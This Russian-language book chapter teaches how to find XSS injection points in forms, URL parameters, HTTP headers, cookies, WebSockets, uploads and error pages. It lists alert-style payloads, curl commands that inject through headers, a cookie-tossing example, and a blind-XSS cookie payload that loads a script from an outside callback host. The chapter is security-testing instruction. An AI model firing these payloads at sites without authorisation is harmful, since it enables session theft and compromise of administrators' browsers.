Книга: «Все об уязвимости XSS». Глава 5: Поиск XSS - Охота началась 🕵️ • Где искать: формы, параметры URL, headers, cookies
Охота на XSS - это не случайное тыканье payload'ов во все дыры подряд. Это методичный, системный подход к картированию поверхности атаки. Каждое веб-приложение - это экосистема точек входа, где пользовательские данные принимаются, обрабатываются и отображаются. Твоя задача - найти все эти точки и проверить каждую. Давай разберёмся, где копать и как не пропустить самые сочные уязвимости.
Формы - очевидная, но золотая жила
HTML-формы - это первое место, куда смотрит любой охотник за XSS. И не зря. Формы созданы для приёма пользовательского ввода, а значит, там, где есть ввод без должной фильтрации, есть и XSS.
Типы форм и их уязвимости
Поисковые формы (Search):
Классика жанра. Пользователь вводит запрос, сайт показывает "Результаты по запросу: [запрос]".
<form action="/search" method="GET"> <input name="q" type="text"> <button>Поиск</button> </form>
Если сайт просто вставляет значение q в HTML без экранирования - ты в деле. Попробуй базовые payload'ы как упоминалось ранее с <script>alert(1)</script> или обработчиками событий .
Комментарии и отзывы:
Stored XSS рай. Твой payload сохраняется в базе и показывается всем посетителям.
<form action="/comment" method="POST"> <textarea name="comment"></textarea> <input name="author" type="text"> <;button>Отправить</button> </form>
Тестируй все поля: и comment, и author. Часто разработчики фильтруют большие поля, но забывают про короткие типа "имя" или "заголовок".
Формы обратной связи (Contact forms):
Blind XSS территория. Твой payload увидит саппорт или админ в своей панели .
<form action="/contact" method="POST"> <input name="name" type="text"> <input name="email" type="email"> <textarea name="message"></textarea> <button>Отправить</button> </form>
Здесь важно использовать callback-payload'ы с XSSHunter или собственным сервером для отслеживания срабатывания.
Профили и настройки:
Поля профиля (имя, фамилия, bio, статус, аватар URL) часто отображаются публично или в админке.
<input name="display_name" value="[CURRENT_VALUE]">
Если твоё имя показывается другим пользователям без фильтрации - это stored XSS.
Скрытые поля (Hidden inputs)
Не игнорируй их. Скрытые поля тоже могут быть уязвимы, особенно если их значения отображаются в другом месте (логи, админка, email-уведомления).
<input type="hidden" name="redirect_url" value="/dashboard">
Перехвати запрос через Burp Suite, измени значение на javascript:alert(1) - может выстрелить при редиректе.
Чеклист для тестирования форм
- Найди все формы на сайте (используй DevTools или spider в Burp)
- Тестируй каждое поле отдельно с базовыми payload'ами
- Проверь разные типы полей: text, textarea, email, url, tel, number
- Не забывай про скрытые поля и атрибуты типа
placeholder,title - Тестируй разные методы: GET и POST ведут себя по-разному
- Проверь, где отображаются данные: на той же странице, на другой, в email, в админке
URL-параметры - живая классика
GET-параметры в URL - второе по популярности место для XSS после форм. Это reflected XSS территория.
Query parameters (GET)
https://site.com/page?param=value
Любой параметр, который отражается на странице - потенциальная уязвимость.
Типичные кандидаты:
-
?q=- поисковые запросы -
?id=- идентификаторы, которые могут отображаться -
?msg=- сообщения об ошибках/успехе -
?redirect=,?return_url=- URL для редиректа -
?lang=,?locale=- иногда отображаются в UI -
?debug=,?error=- режимы отладки часто выводят данные
Техника тестирования:
- Открой страницу с параметром
- Вставь уникальный маркер:
?q=TESTXSS123 - Посмотри исходный код (Ctrl+U) и найди, где появился маркер
- Определи контекст (HTML, атрибут, JS) как мы разбирали ранее
- Подбери соответствующий payload
Массовое тестирование через Burp Intruder:
Создай список параметров:
q search query id name msg message error debug redirect url
Burp автоматом подставит их в URL и покажет, где что отражается.
Path parameters и fragment
Не только query-параметры уязвимы:
https://site.com/user/[USERNAME] https://site.com/category/[CATEGORY_NAME] https://site.com/page#[FRAGMENT]
Если [USERNAME] берётся из URL и вставляется в <h1>Профиль пользователя [USERNAME]</h1> без фильтрации - XSS готов.
Fragment (hash) особенно интересен для DOM-based XSS, так как он обрабатывается только на клиенте через JavaScript:
// Уязвимый код document.getElementById('welcome').innerHTML = location.hash.substr(1);
Payload:
https://site.com/page#<img src=x onerror=alert(1)>
HTTP Headers - скрытая угроза
Headers часто забывают проверять, но они могут быть столь же уязвимы.
User-Agent
Многие сайты логируют User-Agent и отображают его в:
- Панелях аналитики
- Логах доступа с веб-интерфейсом
- Страницах "Активные сессии"
- Email-уведомлениях о входе
Тестирование через curl:
curl -A '<script>alert("XSS")</script>' https://target.com/
Если это stored - зайди в админку/профиль и проверь, отображается ли твой User-Agent.
Referer
Страница, с которой пришёл пользователь. Может отображаться в статистике, логах, системах аналитики.
curl -H "Referer: javascript:alert(1)" https://target.com/
Custom Headers
Некоторые приложения используют кастомные заголовки:
-
X-Forwarded-For- для определения IP (может отображаться) -
X-Original-URL- для внутренней маршрутизации -
X-Custom-Data- любые самописные заголовки
Перехват и модификация через Burp:
- Захвати запрос в Burp Proxy
- Добавь/измени заголовок:
X-Forwarded-For: <svg/onload=alert(1)>
- Отправь запрос
- Проверь response и другие страницы, где может отобразиться
Accept-Language
Редко, но бывает:
curl -H "Accept-Language: <script>alert(1)</script>" https://target.com/
Если сайт показывает "Ваш язык: [язык]" - может сработать.
Cookies - сладкая находка
Cookies могут быть как источником данных для XSS, так и целью атаки.
Cookie-based XSS
Если приложение читает cookie и вставляет значение в страницу:
// Уязвимый код document.write("Welcome back, " + document.cookie.match(/username=([^;]*)/)[1]);
Эксплуатация:
- Установи вредоносный cookie через JavaScript (если можешь выполнить код) или через другую уязвимость (CRLF injection)
- Или используй subdomain для установки cookie (если у атакующего есть контроль над поддоменом)
document.cookie = "username=<img src=x onerror=alert(1)>";
Cookie Tossing Attack
Если у тебя есть контроль над поддоменом (например, attacker.target.com), ты можешь установить cookie для основного домена:
// На attacker.target.com document.cookie = "param=<script>alert(1)</script>; domain=.target.com";
Теперь этот cookie будет отправляться на www.target.com, и если там его значение выводится — XSS.
Cookie как вектор для Blind XSS
Некоторые приложения логируют cookies в админ-панели для отладки или аналитики.
Payload в cookie:
curl -b "session=normal_value; debug=<script src='https://xss.ht/your_id'></script>" https://target.com/
Если админ откроет логи - твой скрипт выполнится в его браузере.
Другие места поиска
JSON и API endpoints
Современные приложения используют API. Проверяй JSON-ответы:
{ "message": "Hello, [USER_INPUT]" }
Если этот JSON потом вставляется в DOM через innerHTML — XSS готов.
WebSocket messages
Если приложение использует WebSockets, сообщения могут быть уязвимы:
// Клиентский код ws.onmessage = function(event) { document.getElementById('chat').innerHTML += event.data; };
Отправь через WebSocket: <img src=x onerror=alert(1)>
File uploads (filename, metadata)
Загружаемые файлы могут содержать XSS в:
- Имени файла (отображается при скачивании/просмотре)
- EXIF/метаданных (если отображаются)
- Содержимом (SVG, HTML файлы)
# Загрузи файл с именем "><svg/onload=alert(1)>.jpg
Error messages
Кастомные страницы ошибок часто отображают параметры запроса
404: Page "/[REQUESTED_PATH]" not found
Payload:
https://target.com/<script>alert(1)</script>
Методология полного картирования
- Spider/Crawl - пройдись по всему сайту (Burp Spider, OWASP ZAP)
- Составь список точек входа - все формы, параметры, headers
- Категоризируй - reflected, stored, DOM-based кандидаты
- Приоритизируй - начни с высокорисковых (stored, admin-панели)
- Автоматизируй - используй сканеры, но не полагайся только на них
- Мануальное тестирование - проверь сложные кейсы вручную
- Документируй - веди таблицу с результатами
Инструменты автоматизации
- Burp Suite Scanner - автоматическое обнаружение XSS
- OWASP ZAP - бесплатная альтернатива
- XSStrike - Python-инструмент для XSS
- Dalfox - быстрый Go-based сканер
- Custom scripts - пиши свои под специфику цели
Заключение
Поиск XSS - это не угадывание, а систематический процесс картирования всех возможных точек входа данных. Формы, URL-параметры, headers, cookies - каждый из этих векторов требует своего подхода и понимания того, как данные проходят через приложение. Не ограничивайся очевидными местами - копай глубже, проверяй edge cases, думай как разработчик и ищи то, что он мог забыть проверить. В следующем разделе мы научимся использовать fuzzing и автоматизацию для масштабирования охоты. Готовь payload-листы!
